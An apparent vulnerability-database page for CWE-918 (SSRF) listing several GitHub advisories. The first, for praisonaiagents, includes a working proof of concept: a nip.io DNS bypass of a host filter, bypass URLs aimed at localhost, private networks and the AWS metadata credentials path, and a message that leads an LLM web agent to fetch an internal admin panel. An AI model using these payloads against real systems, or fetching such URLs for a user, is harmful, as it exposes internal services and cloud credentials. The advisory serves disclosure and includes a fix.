Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

5503 vulnerabilities reference this CWE, most recent first.

GHSA-X44H-65QV-CW74

Vulnerability from github – Published: 2026-08-25 14:37 – Updated: 2026-08-25 14:38
VLAI
Summary
praisonaiagents has an SSRF protection bypass in `spider_tools._host_is_blocked()` via DNS-resolved hostnames (`127.0.0.1.nip.io`)
Details

Summary

praisonaiagents/tools/spider_tools.py contains an SSRF protection bypass. The function _host_is_blocked() validates URLs against a list of blocked IP literals and hostname aliases, but never performs DNS resolution. Any hostname that resolves to a private or loopback IP address — including public wildcard DNS services like 127.0.0.1.nip.io — bypasses the protection entirely.

This has been confirmed with a live exploit: scrape_page("http://127.0.0.1.nip.io:PORT/secret") makes an HTTP request to 127.0.0.1:PORT and returns the internal service response. No attacker-controlled infrastructure is required.

scrape_page, extract_links, crawl, and extract_text are all registered as LLM-callable agent tools (see tools/__init__.py lines 51-55), so any agent instructed to fetch a user-supplied URL will trigger this path.

This is a new bypass of prior fix commit 004dcfef (GHSA-q9pw-vmhh-384g), which only rejected IP literal encoding tricks (hex, octal, backslash). The fix was also applied to web_crawl_tools.py (line 231: socket.gethostbyname call), but that fix was not ported to spider_tools.py.

Details

Root cause — spider_tools.py lines 26-65:

def _host_is_blocked(hostname: str) -> bool:
    host = hostname.lower().rstrip(".")
    # Checks literal aliases only — never resolves
    if host in ("localhost", "0.0.0.0", "::1"):
        return True
    if host in ("169.254.169.254", "metadata.google.internal"):
        return True
    if any(host.endswith(s) for s in (".local", ".internal", ".localdomain")):
        return True
    # Tries to parse as IP literal only
    try:
        return _ip_blocked(ipaddress.ip_address(host))
    except ValueError:
        pass
    try:
        return _ip_blocked(ipaddress.ip_address(socket.inet_aton(host)))
    except OSError:
        pass
    return False   # <-- ANY real hostname passes without DNS lookup

socket.inet_aton() only converts dotted-decimal strings, not hostnames. For any real hostname (e.g. 127.0.0.1.nip.io), both ipaddress.ip_address() and socket.inet_aton() raise exceptions, and the function returns False (not blocked).

Contrast with the fixed version in web_crawl_tools.py line 228-238:

if os.environ.get("ALLOW_LOCAL_CRAWL") != "true":
    try:
        ip_str = socket.gethostbyname(hostname)   # DNS resolution performed
        ip = ipaddress.ip_address(ip_str)
        if ip.is_loopback or ip.is_private or ip.is_link_local or ip.is_multicast:
            continue  # BLOCKED
    except socket.gaierror:
        continue  # fail-closed

Tool registration confirms this is user-reachable:

# praisonaiagents/tools/__init__.py lines 51-55
TOOL_MAPPINGS = {
    'scrape_page':   ('.spider_tools', None),  # <- user-reachable LLM tool
    'extract_links': ('.spider_tools', None),
    'crawl':         ('.spider_tools', None),
    'extract_text':  ('.spider_tools', None),
    ...
}

Any agent given these tools will call scrape_page(url) when instructed to fetch a user-supplied URL — including attacker-controlled ones.

PoC

Environment: Python 3.x, praisonaiagents <= 1.6.52, internet access (for nip.io)

Step 1 — Verify the filter bypass (no network needed):

from praisonaiagents.tools.spider_tools import SpiderTools, _host_is_blocked

# nip.io: public wildcard DNS — 127.0.0.1.nip.io always resolves to 127.0.0.1
print(_host_is_blocked("127.0.0.1.nip.io"))                        # False — NOT blocked
print(SpiderTools()._validate_url("http://127.0.0.1.nip.io/"))      # True  — ALLOWED
print(_host_is_blocked("127.0.0.1"))                                # True  — correctly blocked

Expected output:

False
True
True

Step 2 — Full SSRF: internal service response exfiltrated

import threading, time, requests
from http.server import HTTPServer, BaseHTTPRequestHandler
from praisonaiagents.tools.spider_tools import SpiderTools

PORT = 19235
received = []

class InternalService(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200); self.end_headers()
        self.wfile.write(b'{"db_pass":"hunter2","aws_key":"AKIAIOSFODNN7EXAMPLE"}')
        received.append(self.path)
    def log_message(self, *a): pass

threading.Thread(
    target=HTTPServer(("127.0.0.1", PORT), InternalService).serve_forever,
    daemon=True
).start()
time.sleep(0.2)

attack_url = f"http://127.0.0.1.nip.io:{PORT}/secrets.json"

# Filter allows it
assert SpiderTools()._validate_url(attack_url) is True  # passes

# HTTP request actually reaches 127.0.0.1
r = requests.get(attack_url, timeout=5)
print("STATUS:", r.status_code)    # 200
print("BODY:  ", r.text)           # {"db_pass":"hunter2","aws_key":"AKIAIOSFODNN7EXAMPLE"}
print("HIT:   ", received)         # ['/secrets.json']

Observed output:

STATUS: 200
BODY:   {"db_pass":"hunter2","aws_key":"AKIAIOSFODNN7EXAMPLE"}
HIT:    ['/secrets.json']

Step 3 — Agent-level trigger (how a user triggers this in production):

from praisonaiagents import Agent
from praisonaiagents.tools import scrape_page

agent = Agent(
    name="WebResearcher",
    instructions="You are a research assistant. Fetch and summarize the given URL.",
    tools=[scrape_page],
)

# Attacker sends this message to the agent:
result = agent.start("Please fetch and summarize: http://127.0.0.1.nip.io:8080/admin")
# Agent calls scrape_page("http://127.0.0.1.nip.io:8080/admin")
# Request hits 127.0.0.1:8080/admin
# Internal admin panel content returned to attacker
print(result)

Additional bypass URLs (no setup required):

Target URL
Localhost http://127.0.0.1.nip.io/
Private network http://10.0.0.1.nip.io/
AWS IMDS (via sslip.io) http://169-254-169-254.sslip.io/latest/meta-data/iam/security-credentials/

Impact

What kind of vulnerability: Server-Side Request Forgery (SSRF) — full read SSRF with arbitrary port access.

Who is impacted: Anyone deploying PraisonAI agents that include scrape_page, extract_links, crawl, or extract_text tools and accept user-supplied URLs. This includes:

  • Web research agents (the primary intended use case for spider tools)
  • Jobs API users — any authenticated API caller who submits jobs with agent_yaml specifying spider tools
  • Cloud deployments (Critical escalation): On AWS EC2 with IMDSv1, fetching http://169-254-169-254.sslip.io/latest/meta-data/iam/security-credentials/ may return temporary IAM credentials, leading to full cloud account compromise.

Severity note: This is a patch-gap variant. The SSRF protection was correctly implemented for IP literals and enhanced in commit 004dcfef for encoding bypasses. The DNS resolution check was added to web_crawl_tools.py but was missed in spider_tools.py, creating an exploitable inconsistency.


---

## Remediation Suggestion (for maintainers)

One-line fix in `_host_is_blocked()` — mirror what `web_crawl_tools.py` already does:

```python
# After existing literal checks, add:
try:
    resolved = socket.gethostbyname(hostname)
    return _ip_blocked(ipaddress.ip_address(resolved))
except (socket.gaierror, ValueError, OSError):
    return True  # fail-closed: unresolvable host is blocked
Severity
8.5 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonaiagents"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.6.58"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55526"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-350",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-25T14:37:26Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\n`praisonaiagents/tools/spider_tools.py` contains an SSRF protection bypass. The function\n`_host_is_blocked()` validates URLs against a list of blocked IP literals and hostname\naliases, but **never performs DNS resolution**. Any hostname that resolves to a private or\nloopback IP address \u2014 including public wildcard DNS services like `127.0.0.1.nip.io` \u2014\nbypasses the protection entirely.\n\nThis has been **confirmed with a live exploit**: `scrape_page(\"http://127.0.0.1.nip.io:PORT/secret\")`\nmakes an HTTP request to `127.0.0.1:PORT` and returns the internal service response.\nNo attacker-controlled infrastructure is required.\n\n`scrape_page`, `extract_links`, `crawl`, and `extract_text` are all registered as\nLLM-callable agent tools (see `tools/__init__.py` lines 51-55), so any agent instructed\nto fetch a user-supplied URL will trigger this path.\n\nThis is a **new bypass** of prior fix commit `004dcfef` (GHSA-q9pw-vmhh-384g), which only\nrejected IP literal encoding tricks (hex, octal, backslash). The fix was also applied to\n`web_crawl_tools.py` (line 231: `socket.gethostbyname` call), but that fix was not\nported to `spider_tools.py`.\n\n### Details\n\n**Root cause \u2014 `spider_tools.py` lines 26-65:**\n\n```python\ndef _host_is_blocked(hostname: str) -\u003e bool:\n    host = hostname.lower().rstrip(\".\")\n    # Checks literal aliases only \u2014 never resolves\n    if host in (\"localhost\", \"0.0.0.0\", \"::1\"):\n        return True\n    if host in (\"169.254.169.254\", \"metadata.google.internal\"):\n        return True\n    if any(host.endswith(s) for s in (\".local\", \".internal\", \".localdomain\")):\n        return True\n    # Tries to parse as IP literal only\n    try:\n        return _ip_blocked(ipaddress.ip_address(host))\n    except ValueError:\n        pass\n    try:\n        return _ip_blocked(ipaddress.ip_address(socket.inet_aton(host)))\n    except OSError:\n        pass\n    return False   # \u003c-- ANY real hostname passes without DNS lookup\n```\n\n`socket.inet_aton()` only converts dotted-decimal strings, not hostnames. For any real\nhostname (e.g. `127.0.0.1.nip.io`), both `ipaddress.ip_address()` and `socket.inet_aton()`\nraise exceptions, and the function returns `False` (not blocked).\n\n**Contrast with the fixed version in `web_crawl_tools.py` line 228-238:**\n\n```python\nif os.environ.get(\"ALLOW_LOCAL_CRAWL\") != \"true\":\n    try:\n        ip_str = socket.gethostbyname(hostname)   # DNS resolution performed\n        ip = ipaddress.ip_address(ip_str)\n        if ip.is_loopback or ip.is_private or ip.is_link_local or ip.is_multicast:\n            continue  # BLOCKED\n    except socket.gaierror:\n        continue  # fail-closed\n```\n\n**Tool registration confirms this is user-reachable:**\n\n```python\n# praisonaiagents/tools/__init__.py lines 51-55\nTOOL_MAPPINGS = {\n    \u0027scrape_page\u0027:   (\u0027.spider_tools\u0027, None),  # \u003c- user-reachable LLM tool\n    \u0027extract_links\u0027: (\u0027.spider_tools\u0027, None),\n    \u0027crawl\u0027:         (\u0027.spider_tools\u0027, None),\n    \u0027extract_text\u0027:  (\u0027.spider_tools\u0027, None),\n    ...\n}\n```\n\nAny agent given these tools will call `scrape_page(url)` when instructed to fetch\na user-supplied URL \u2014 including attacker-controlled ones.\n\n### PoC\n\n**Environment:** Python 3.x, `praisonaiagents \u003c= 1.6.52`, internet access (for nip.io)\n\n**Step 1 \u2014 Verify the filter bypass (no network needed):**\n\n```python\nfrom praisonaiagents.tools.spider_tools import SpiderTools, _host_is_blocked\n\n# nip.io: public wildcard DNS \u2014 127.0.0.1.nip.io always resolves to 127.0.0.1\nprint(_host_is_blocked(\"127.0.0.1.nip.io\"))                        # False \u2014 NOT blocked\nprint(SpiderTools()._validate_url(\"http://127.0.0.1.nip.io/\"))      # True  \u2014 ALLOWED\nprint(_host_is_blocked(\"127.0.0.1\"))                                # True  \u2014 correctly blocked\n```\n\nExpected output:\n```\nFalse\nTrue\nTrue\n```\n\n**Step 2 \u2014 Full SSRF: internal service response exfiltrated**\n\n```python\nimport threading, time, requests\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\nfrom praisonaiagents.tools.spider_tools import SpiderTools\n\nPORT = 19235\nreceived = []\n\nclass InternalService(BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.send_response(200); self.end_headers()\n        self.wfile.write(b\u0027{\"db_pass\":\"hunter2\",\"aws_key\":\"AKIAIOSFODNN7EXAMPLE\"}\u0027)\n        received.append(self.path)\n    def log_message(self, *a): pass\n\nthreading.Thread(\n    target=HTTPServer((\"127.0.0.1\", PORT), InternalService).serve_forever,\n    daemon=True\n).start()\ntime.sleep(0.2)\n\nattack_url = f\"http://127.0.0.1.nip.io:{PORT}/secrets.json\"\n\n# Filter allows it\nassert SpiderTools()._validate_url(attack_url) is True  # passes\n\n# HTTP request actually reaches 127.0.0.1\nr = requests.get(attack_url, timeout=5)\nprint(\"STATUS:\", r.status_code)    # 200\nprint(\"BODY:  \", r.text)           # {\"db_pass\":\"hunter2\",\"aws_key\":\"AKIAIOSFODNN7EXAMPLE\"}\nprint(\"HIT:   \", received)         # [\u0027/secrets.json\u0027]\n```\n\nObserved output:\n```\nSTATUS: 200\nBODY:   {\"db_pass\":\"hunter2\",\"aws_key\":\"AKIAIOSFODNN7EXAMPLE\"}\nHIT:    [\u0027/secrets.json\u0027]\n```\n\n**Step 3 \u2014 Agent-level trigger (how a user triggers this in production):**\n\n```python\nfrom praisonaiagents import Agent\nfrom praisonaiagents.tools import scrape_page\n\nagent = Agent(\n    name=\"WebResearcher\",\n    instructions=\"You are a research assistant. Fetch and summarize the given URL.\",\n    tools=[scrape_page],\n)\n\n# Attacker sends this message to the agent:\nresult = agent.start(\"Please fetch and summarize: http://127.0.0.1.nip.io:8080/admin\")\n# Agent calls scrape_page(\"http://127.0.0.1.nip.io:8080/admin\")\n# Request hits 127.0.0.1:8080/admin\n# Internal admin panel content returned to attacker\nprint(result)\n```\n\n**Additional bypass URLs (no setup required):**\n\n| Target | URL |\n|--------|-----|\n| Localhost | `http://127.0.0.1.nip.io/` |\n| Private network | `http://10.0.0.1.nip.io/` |\n| AWS IMDS (via sslip.io) | `http://169-254-169-254.sslip.io/latest/meta-data/iam/security-credentials/` |\n\n### Impact\n\n**What kind of vulnerability:** Server-Side Request Forgery (SSRF) \u2014 full read SSRF with\narbitrary port access.\n\n**Who is impacted:** Anyone deploying PraisonAI agents that include `scrape_page`,\n`extract_links`, `crawl`, or `extract_text` tools and accept user-supplied URLs. This\nincludes:\n\n- **Web research agents** (the primary intended use case for spider tools)\n- **Jobs API users** \u2014 any authenticated API caller who submits jobs with `agent_yaml`\n  specifying spider tools\n- **Cloud deployments (Critical escalation)**: On AWS EC2 with IMDSv1, fetching\n  `http://169-254-169-254.sslip.io/latest/meta-data/iam/security-credentials/`\n  may return temporary IAM credentials, leading to full cloud account compromise.\n\n**Severity note:** This is a patch-gap variant. The SSRF protection was correctly\nimplemented for IP literals and enhanced in commit `004dcfef` for encoding bypasses.\nThe DNS resolution check was added to `web_crawl_tools.py` but was missed in\n`spider_tools.py`, creating an exploitable inconsistency.\n```\n\n---\n\n## Remediation Suggestion (for maintainers)\n\nOne-line fix in `_host_is_blocked()` \u2014 mirror what `web_crawl_tools.py` already does:\n\n```python\n# After existing literal checks, add:\ntry:\n    resolved = socket.gethostbyname(hostname)\n    return _ip_blocked(ipaddress.ip_address(resolved))\nexcept (socket.gaierror, ValueError, OSError):\n    return True  # fail-closed: unresolvable host is blocked\n```",
  "id": "GHSA-x44h-65qv-cw74",
  "modified": "2026-08-25T14:38:47Z",
  "published": "2026-08-25T14:37:26Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-x44h-65qv-cw74"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/commit/2f9677abb2ea68eab864ee8b6a828fd0141612e1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/releases/tag/v4.6.58"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "praisonaiagents has an SSRF protection bypass in `spider_tools._host_is_blocked()` via DNS-resolved hostnames (`127.0.0.1.nip.io`)"
}

GHSA-X46J-Q5R9-V3G5

Vulnerability from github – Published: 2025-04-24 18:31 – Updated: 2026-04-01 18:34
VLAI
Details

Server-Side Request Forgery (SSRF) vulnerability in Derek Springer BeerXML Shortcode allows Server Side Request Forgery. This issue affects BeerXML Shortcode: from n/a through 0.71.

Severity
6.4 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-46511"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-04-24T16:15:42Z",
    "severity": "MODERATE"
  },
  "details": "Server-Side Request Forgery (SSRF) vulnerability in Derek Springer BeerXML Shortcode allows Server Side Request Forgery. This issue affects BeerXML Shortcode: from n/a through 0.71.",
  "id": "GHSA-x46j-q5r9-v3g5",
  "modified": "2026-04-01T18:34:58Z",
  "published": "2025-04-24T18:31:07Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-46511"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/beerxml-shortcode/vulnerability/wordpress-beerxml-shortcode-0-71-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-X4HM-VCRP-R3Q5

Vulnerability from github – Published: 2026-04-08 09:31 – Updated: 2026-04-14 15:30
VLAI
Details

Server-Side Request Forgery (SSRF) vulnerability in Getty Images Getty Images getty-images allows Server Side Request Forgery.This issue affects Getty Images: from n/a through <= 4.1.0.

Severity
6.4 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-39630"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-08T09:16:33Z",
    "severity": "MODERATE"
  },
  "details": "Server-Side Request Forgery (SSRF) vulnerability in Getty Images Getty Images getty-images allows Server Side Request Forgery.This issue affects Getty Images: from n/a through \u003c= 4.1.0.",
  "id": "GHSA-x4hm-vcrp-r3q5",
  "modified": "2026-04-14T15:30:29Z",
  "published": "2026-04-08T09:31:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39630"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/Wordpress/Plugin/getty-images/vulnerability/wordpress-getty-images-plugin-4-1-0-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-X4MR-7JCX-V2X6

Vulnerability from github – Published: 2022-05-24 17:47 – Updated: 2022-05-24 17:47
VLAI
Details

The ECT Provider component in OutSystems Platform Server 10 before 10.0.1104.0 and 11 before 11.9.0 (and LifeTime management console before 11.7.0) allows SSRF for arbitrary outbound HTTP requests.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-29357"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-04-12T19:15:00Z",
    "severity": "HIGH"
  },
  "details": "The ECT Provider component in OutSystems Platform Server 10 before 10.0.1104.0 and 11 before 11.9.0 (and LifeTime management console before 11.7.0) allows SSRF for arbitrary outbound HTTP requests.",
  "id": "GHSA-x4mr-7jcx-v2x6",
  "modified": "2022-05-24T17:47:09Z",
  "published": "2022-05-24T17:47:09Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-29357"
    },
    {
      "type": "WEB",
      "url": "https://labs.integrity.pt/advisories/cve-2021-29357"
    },
    {
      "type": "WEB",
      "url": "https://success.outsystems.com/Support/Security/Vulnerabilities/Vulnerability_RTAF-2226"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-X4QJ-2F4Q-R4RX

Vulnerability from github – Published: 2025-11-05 19:52 – Updated: 2025-11-07 20:31
VLAI
Summary
Parse Server Vulnerable to Server-Side Request Forgery (SSRF) in File Upload via URI Format
Details

Impact

A Server-Side Request Forgery (SSRF) vulnerability in the file upload functionality when trying to upload a Parse.File with uri parameter allows to execute an arbitrary URI. The vulnerability stems from a file upload feature in which Parse Server retrieves the file data from a URI that is provided in the request. A request to the provided URI is executed, but the response is not stored in Parse Server's file storage as the server crashes upon receiving the response.

Patches

The feature has been implemented in Parse Server 4.2.0 but never worked and reliably crashes the server when trying to use it due to a bug in its implementation. Since the feature is not currently working, and due to its risky nature, it has been removed to address the vulnerability.

Workarounds

None.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "parse-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0"
            },
            {
              "fixed": "7.5.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 8.4.0-alpha.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "parse-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.0.0"
            },
            {
              "fixed": "8.4.0-alpha.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-64430"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-11-05T19:52:27Z",
    "nvd_published_at": "2025-11-07T18:15:37Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\nA Server-Side Request Forgery (SSRF) vulnerability in the file upload functionality when trying to upload a `Parse.File` with `uri` parameter allows to execute an arbitrary URI. The vulnerability stems from a file upload feature in which Parse Server retrieves the file data from a URI that is provided in the request. A request to the provided URI is executed, but the response is not stored in Parse Server\u0027s file storage as the server crashes upon receiving the response.\n\n### Patches\n\nThe feature has been implemented in Parse Server 4.2.0 but never worked and reliably crashes the server when trying to use it due to a bug in its implementation. Since the feature is not currently working, and due to its risky nature, it has been removed to address the vulnerability.\n\n### Workarounds\n\nNone.",
  "id": "GHSA-x4qj-2f4q-r4rx",
  "modified": "2025-11-07T20:31:43Z",
  "published": "2025-11-05T19:52:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/parse-community/parse-server/security/advisories/GHSA-x4qj-2f4q-r4rx"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-64430"
    },
    {
      "type": "WEB",
      "url": "https://github.com/parse-community/parse-server/pull/9903"
    },
    {
      "type": "WEB",
      "url": "https://github.com/parse-community/parse-server/pull/9904"
    },
    {
      "type": "WEB",
      "url": "https://github.com/parse-community/parse-server/commit/8bbe3efbcf4a3b66f4a8db9bfb18cd98c050db51"
    },
    {
      "type": "WEB",
      "url": "https://github.com/parse-community/parse-server/commit/97763863b72689a29ad7a311dfb590c3e3c50585"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/parse-community/parse-server"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Parse Server Vulnerable to Server-Side Request Forgery (SSRF) in File Upload via URI Format"
}

GHSA-X4R9-GMW3-HXWW

Vulnerability from github – Published: 2026-06-12 18:23 – Updated: 2026-06-12 18:23
VLAI
Summary
GeoServer has a Server-Side Request Forgery (SSRF) Vulnerability in its XML Entity Resolution
Details

Summary

A GeoServer that uses ENTITY_RESOLUTION_ALLOWLIST may allow attacker to perform unauthenticated Server-Side Request Forgery (SSRF).

Details

This vulnerability requires that GeoServer is set up to use a proxy base URL and the ENTITY_RESOLUTION_ALLOWLIST (default since 2.25.0):

Impact

This vulnerability allows an attacker to cause GeoServer to make requests to an unintended location.

Workaround

GeoServer installations are only affected by this vulnerability if they use a proxy base URL that does not contain a URL path or end with a slash (e.g., https://somesite.org instead of https://somesite.org/ or https://somesite.org/geoserver). If the proxy base URL does not contain a path, adding a slash to the end of the URL will mitigate this vulnerability.

Resources

https://osgeo-org.atlassian.net/browse/GEOS-11867 https://github.com/geoserver/geoserver/pull/8622

Credits:

  • Le Mau Anh Phong at Verichains Cyber Force
Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.26.3"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.geoserver.web:gs-web-app"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.26.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.26.3"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.geoserver:gs-main"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.26.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.27.2"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.geoserver:gs-main"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.27.0"
            },
            {
              "fixed": "2.27.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.27.2"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.geoserver.web:gs-web-app"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.27.0"
            },
            {
              "fixed": "2.27.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-58175"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-611",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-12T18:23:35Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\nA GeoServer that uses `ENTITY_RESOLUTION_ALLOWLIST` may allow attacker to perform unauthenticated Server-Side Request Forgery (SSRF).\n\n### Details\nThis vulnerability requires that GeoServer is set up to use a proxy base URL and the `ENTITY_RESOLUTION_ALLOWLIST` (default since 2.25.0):\n\n### Impact\nThis vulnerability allows an attacker to cause GeoServer to make requests to an unintended location.\n\n### Workaround\nGeoServer installations are only affected by this vulnerability if they use a proxy base URL that does not contain a URL path or end with a slash (e.g., `https://somesite.org` instead of `https://somesite.org/` or `https://somesite.org/geoserver`). If the proxy base URL does not contain a path, adding a slash to the end of the URL will mitigate this vulnerability.\n\n### Resources\nhttps://osgeo-org.atlassian.net/browse/GEOS-11867\nhttps://github.com/geoserver/geoserver/pull/8622\n\n### Credits:\n-  Le Mau Anh Phong at Verichains Cyber Force",
  "id": "GHSA-x4r9-gmw3-hxww",
  "modified": "2026-06-12T18:23:35Z",
  "published": "2026-06-12T18:23:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/geoserver/geoserver/security/advisories/GHSA-x4r9-gmw3-hxww"
    },
    {
      "type": "WEB",
      "url": "https://github.com/geoserver/geoserver/pull/8622"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/geoserver/geoserver"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "GeoServer has a Server-Side Request Forgery (SSRF) Vulnerability in its XML Entity Resolution"
}

GHSA-X4VC-M5G5-663M

Vulnerability from github – Published: 2025-07-11 09:30 – Updated: 2025-07-11 09:30
VLAI
Details

The Broken Link Notifier plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 1.3.0 via the ajax_blinks() function which ultimately calls the check_url_status_code() function. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.

Severity
7.2 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-6851"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-07-11T09:15:25Z",
    "severity": "HIGH"
  },
  "details": "The Broken Link Notifier plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 1.3.0 via the ajax_blinks() function which ultimately calls the check_url_status_code() function. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.",
  "id": "GHSA-x4vc-m5g5-663m",
  "modified": "2025-07-11T09:30:32Z",
  "published": "2025-07-11T09:30:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-6851"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3323864%40broken-link-notifier\u0026new=3323864%40broken-link-notifier\u0026sfp_email=\u0026sfph_mail="
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/0f76c9f8-c57a-4875-b581-f67c9c60021c?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-X557-GW6M-864X

Vulnerability from github – Published: 2025-11-19 06:31 – Updated: 2025-11-19 06:31
VLAI
Details

